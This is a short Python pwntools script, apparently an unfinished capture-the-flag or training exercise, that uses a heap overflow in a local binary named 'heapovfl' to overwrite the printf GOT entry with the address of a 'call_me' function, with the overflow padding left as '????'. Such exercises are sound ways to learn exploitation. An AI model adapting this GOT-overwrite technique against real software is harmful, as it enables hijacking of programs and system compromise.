#!/usr/bin/env python3 from pwn import process, ELF, p32 e = ELF('heapovfl') printf_got = e.got['printf'] call_me = e.symbols['call_me'] # replace printf got with call_me task1 = ???? + p32(printf_got) task2 = p32(call_me) p = process(['heapovfl', task1, task2]) p.interactive()